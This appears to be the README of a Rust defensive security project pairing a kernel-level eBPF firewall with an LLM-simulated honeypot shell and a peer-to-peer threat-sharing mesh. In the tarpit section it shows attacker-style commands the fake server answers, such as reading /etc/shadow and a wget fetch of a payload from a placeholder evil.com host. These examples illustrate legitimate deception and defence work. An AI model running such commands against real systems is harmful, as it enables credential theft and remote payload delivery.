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Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh
# The Blackwall β I built a real Blackwall because Cyberpunk 2077 broke my brain
"There are things beyond the Blackwall that would fry a netrunner's brain at a mere glance."
β Alt Cunningham, probably
Currently building enterprise-grade AI automation at Dokky
Enterprise licensing & consulting: xzcrpw1@gmail.com
---
**TL;DR:** Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh.
**~21k lines of Rust. 298 tests. 10 crates. One person.**
---
## What is it?
The **Blackwall** β named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net.
This is my version. A multi-layered defense system that doesn't just block threats β it studies them, traps them, and tells every other node what it found.
Three core layers working together:
**1. Kernel-level firewall (eBPF/XDP)** β packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking β all running in the BPF virtual machine.
**2. AI-powered TCP honeypot (Tarpit)** β instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised `root@web-prod-03`. Attackers waste their time while everything gets recorded.
**3. P2P threat intelligence mesh (HiveMind)** β nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner β every node knows about it within seconds.
Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics.
---
## Architecture


**The pipeline:**
```
Packet arrives
β XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI
β RingBuf (zero-copy) β Userspace daemon
β Static rules β Behavioral state machine β JA4 DB lookup β LLM classification
β Verdict: PASS / DROP / REDIRECT_TO_TARPIT
β eBPF BLOCKLIST map updated in real-time
β IoC shared to HiveMind P2P mesh
```
---
## What Each Crate Does
### blackwall-ebpf β The Kernel Layer (1,334 lines)
eBPF programs at the XDP hook β the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops.
- **Entropy calculation** β byte frequency analysis, integer-only Shannon entropy (0β7936 scale). High entropy on non-TLS ports β encrypted C2 traffic
- **TLS fingerprinting** β parses ClientHello, extracts cipher suites, extensions, ALPN, SNI β JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib
- **DPI via tail calls** β `PROG_ARRAY` dispatches protocol-specific analyzers:
- HTTP: method + URI (catches `/wp-admin`, `/phpmyadmin`, path traversal)
- DNS: query length + label count (DNS tunneling detection)
- SSH: banner fingerprinting (`libssh`, `paramiko`, `dropbear`)
- **DNAT redirect** β suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server
- **Connection tracking** β stateful TCP flow monitoring, LRU map (16K entries)
- **Rate limiting** β per-IP token bucket, prevents flood attacks and RingBuf exhaustion
- **4 RingBuf channels** β EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types
Maps: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, plus 4 RingBuf maps.
### blackwall β The Brain (6,362 lines)
Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline.
- **Rules engine** β static blocklist/allowlist, CIDR ranges from config + feeds
- **Behavioral state machine** β per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: `New β Suspicious β Malicious β Blocked` (or `β Trusted`). Beaconing detection via integer CoV
- **JA4 database** β TLS fingerprint matching against known-bad signatures
- **AI classification** β Ollama integration, models β€3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence
- **Threat feeds** β external feed ingestion (Firehol, abuse.ch), periodic refresh
- **PCAP capture** β forensic recording with rotation + compression
- **Real-time feedback** β verdicts written back to eBPF BLOCKLIST map
- **HiveMind bridge** β confirmed IoCs shared to the P2P mesh
### tarpit β The Trap (2,179 lines)
A deception layer. Attackers redirected here via DNAT think they've landed on a real box.
- **Protocol auto-detect** β identifies SSH, HTTP, MySQL, DNS from first bytes
- **Protocol handlers:**
- SSH: banner, auth flow, PTY session
- HTTP: fake WordPress, `/wp-admin`, `.env`, realistic headers
- MySQL: handshake, auth, query responses with fake data
- DNS: plausible query responses
- **LLM bash sim** β every shell command β Ollama. `ls -la` returns files, `cat /etc/shadow` returns hashes, `wget` "downloads", `mysql -u root` "connects". The LLM doesn't know it's a honeypot
- **Exponential jitter** β 1-15 byte chunks, 100msβ30s delay. Maximum time waste
- **Anti-fingerprinting** β randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap
- **Prompt injection defense** β 25+ patterns detected, never breaks the sim
- **Credential canaries** β all entered credentials logged for forensics
- **Session management** β per-connection state, command history, CWD tracking
### hivemind β The Mesh (6,526 lines)
Decentralized threat intelligence built on libp2p.
- **Transport** β QUIC + Noise encryption, every connection authenticated
- **Discovery** β Kademlia DHT (global), mDNS (local), configurable seed peers
- **IoC sharing** β GossipSub pub/sub, propagation across the mesh in seconds
- **Consensus** β N independent confirmations required. No single-source trust
- **Reputation** β peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed
- **Sybil guard** β PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration
- **Federated learning** β local model training + FedAvg aggregation, gradient sharing (FHE encryption stub)
- **Data poisoning defense** β gradient distribution monitoring, model inversion detection
- **ZKP infrastructure** β Groth16 circuit stubs for trustless IoC verification
### hivemind-api β Enterprise Integration (2,711 lines)
REST API for plugging HiveMind data into enterprise SIEMs.
- **STIX 2.1** β standard threat intel format
- **TAXII 2.1** β threat exchange protocol
- **Splunk HEC** β HTTP Event Collector
- **QRadar LEEF** β Log Event Extended Format
- **CEF** β Common Event Format
- **Tiered licensing** β Basic / Professional / Enterprise / NationalSecurity
- **Live stats** β real-time XDP counters + P2P mesh metrics
### hivemind-dashboard β The Monitor (571 lines)
TUI dashboard. Pure ANSI β no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status.
### blackwall-controller β Command & Control (356 lines)
Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place.
### common β The Contract (1,126 lines)
`#[repr(C)]` types shared between kernel and userspace: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, counters, base64 utils. The contract that both sides agree on.
### xtask β Build Tools (46 lines)
`cargo xtask build-ebpf` β handles nightly + `bpfel-unknown-none` target compilation.
---
## Tech Stack
| Layer | Tech | Why |
|-------|------|-----|
| Kernel | **aya-rs** (eBPF/XDP) | Pure Rust eBPF β no C, no libbpf |
| Runtime | **Tokio** (current_thread) | Single-threaded, no overhead |
| IPC | **RingBuf** | Zero-copy, 7.5% overhead vs PerfEventArray's 35% |
| Concurrency | **papaya** + **crossbeam** | Lock-free maps + MPMC queues |
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
| Crypto | **ring** | ECDSA, SHA256, HKDF, HMAC |
| HTTP | **hyper** 1.x | Minimal. No web framework |
| AI | **Ollama** | Local inference, GGUF quantized |
| Config | **TOML** | Clean, human-readable |
| Logging | **tracing** | Structured. Zero `println!` in prod |
**22 dependencies total.** Each one justified. No bloat crates.
---
## Deployment
```
deploy/
docker/
Dockerfile.blackwall # Multi-stage, stripped binary
Dockerfile.ebpf # Nightly eBPF build
helm/
blackwall/ # K8s DaemonSet + ConfigMap
systemd/
server/ # Production server units
laptop/ # Dev/laptop units
examples/ # Example configs
healthcheck.sh # Component health checker
```
Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, `CAP_BPF`). systemd units for bare metal.
---
## Quick Start
### Prerequisites
- Linux 5.15+ with BTF (or WSL2 custom kernel)
- Rust stable + nightly with `rust-src`
- `bpf-linker` β `cargo install bpf-linker`
- Ollama (optional, for AI features)
### Build
```bash
cargo xtask build-ebpf # eBPF programs (nightly)
cargo build --release --workspace # all userspace
cargo clippy --workspace -- -D warnings # lint
cargo test --workspace # 298 tests
```
### Run
```bash
sudo RUST_LOG=info ./target/release/blackwall config.toml # needs root/CAP_BPF
RUST_LOG=info ./target/release/tarpit # honeypot
RUST_LOG=info ./target/release/hivemind # P2P node
RUST_LOG=info ./target/release/hivemind-api # threat feed API
./target/release/hivemind-dashboard # TUI
BLACKWALL_PSK= ./target/release/blackwall-controller stats :
```
### Config
```toml
[network]
interface = "eth0"
xdp_mode = "generic" # generic / native / offload
[thresholds]
entropy_anomaly = 6000 # 0-7936 scale
[tarpit]
enabled = true
port = 2222
base_delay_ms = 100
max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
http_port = 80
mysql_port = 3306
dns_port = 53
[ai]
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"
[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]
[feeds]
enabled = true
refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"
```
---
## The Tarpit in Action
Connect to the tarpit and you see:
```
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:~#
```
None of this is real. The LLM plays bash. `ls` shows files. `cat /etc/passwd` shows users. `mysql -u root -p` connects you. `wget http://evil.com/payload` downloads.
30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh.
---
## Security Model
- Every byte from packets = attacker-controlled. All `ctx.data()` bounds-checked
- Zero `unwrap()` in prod β `?`, `expect("reason")`, or `match`
- Prompt injection: expected. 25+ patterns caught, simulation never breaks
- P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs
- Tarpit: TCP randomization β p0f/Nmap can't fingerprint it
- Controller: HMAC-authenticated, no unauthenticated access
- Kernel: rate limiting prevents RingBuf exhaustion
- Shutdown: cleans up firewall rules, no orphaned iptables state
---
## Enterprise Edition
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** adds something no one else has: **real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.**
AI agents are starting to talk to each other β LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module.
**~8,400 lines of Rust.** Separate repo, separate license.
| Component | What it does |
|-----------|-------------|
| **A-JWT Validation** | Agentic JWT verification per IETF draft. Signature check via `ring`, replay prevention, key caching |
| **Intent Verification** | Exhaustive field matching β `max_amount`, `allowed_recipients` (glob), action allowlisting |
| **Agent Checksum** | SHA256(system_prompt + tools_config) β tampering = instant block |
| **Proof-of-Possession** | cnf/jwk ECDSA binding β proves the agent holds its key |
| **eBPF Uprobes** | Hooks OpenSSL/GnuTLS `SSL_write`/`SSL_read` β intercepts A2A plaintext without breaking TLS |
| **Risk-Based Routing** | Configurable policy: allow / review / block based on risk score |
| **ZK Proofs** | Violation attestation without exposing raw traffic (Groth16) |
| **P2P Gossip** | Violation proofs broadcast to HiveMind mesh |
**Licensing:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
---
## Stats
```
Language: 100% Rust
Total: ~21,200 lines
Files: 92 .rs
Crates: 10
Tests: 298
unwrap(): 0 in prod
Dependencies: 22 (audited)
eBPF stack: β€ 512 bytes always
Clippy: -D warnings, zero issues
CI: check + clippy + tests + eBPF nightly build
```
---
## Cyberpunk Reference
| Cyberpunk 2077 | This Project |
|----------------|-------------|
| The Blackwall | Kernel-level eBPF/XDP firewall |
| ICE | XDP fast-path: entropy + JA4 + DPI + DNAT |
| Daemons | LLM tarpit β fake server behind the wall |
| NetWatch | Behavioral engine + per-IP state machine |
| Rogue AIs | Botnets, scanners, C2 beacons |
| Braindance recordings | PCAP forensics |
| Netrunner collective | HiveMind P2P mesh |
| Fixer intel | Threat feeds |
| Arasaka C&C | Distributed controller |
---
## Disclaimer
Security research project. For defending your own infrastructure. Don't use it against others.
Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible.
---
## License
**BSL 1.1** (Business Source License)
Licensor: Vladyslav Soliannikov
Change Date: April 8, 2030
Change License: Apache-2.0
---
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"Wake up, samurai. We have a network to protect."